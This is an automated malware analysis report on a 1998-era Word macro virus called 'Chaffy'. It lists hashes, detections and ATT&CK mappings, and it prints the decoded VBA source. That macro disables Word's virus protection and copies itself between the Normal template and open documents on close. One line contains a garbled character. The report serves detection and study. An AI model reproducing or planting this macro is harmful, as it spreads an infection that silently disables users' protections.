Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45390fd4e03ecc68…

MALICIOUS

Office (OLE)

26.5 KB Created: 2000-02-02 21:53:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: b9e9354a4a09a519fb4b0a093d28b587 SHA-1: 677092be2f2528d9f5954511650ab966d9b35235 SHA-256: 45390fd4e03ecc683ca3b41baac5b16ff65beb1291ab0ed18d760ffe6d66deaf
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing VBA macros. The AutoClose macro attempts to export itself to 'C:\Chaffy.lnk', suggesting an attempt to establish persistence or facilitate further execution. The presence of legacy WordBasic markers and the Auto_Close macro indicate a potentially older, but still functional, malicious macro.

Heuristics 4

  • ClamAV: Doc.Trojan.FS-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FS-12
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 918 bytes
SHA-256: 5c3f92baef6ef60c063d4bbcc268ff70f3acf3e188561f871576eadfad7d37a0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Chaffy"
'Copyright (C) 1998 by FlyShadow ~^^~ - Chaffy
Sub AutoClose()
    On Error Resume Next
    Options.VirusProtection = 0
    Options.SaveNormalPrompt = 0
    Set ν = NormalTemplate.VBProject.VBComponents
    Set υ = ActiveDocument.VBProject.VBComponents
    Select Case �
        Case ν("Chaffy").Name
            υ("Chaffy").Export "C:\Chaffy.lnk": Set α = ν
        Case υ("Chaffy").Name
            ν("Chaffy").Export "C:\Chaffy.lnk": Set α = υ
        Case Else
            Exit Sub
    End Select
        α.Import "C:\Chaffy.lnk"
        ActiveDocument.Save
End Sub

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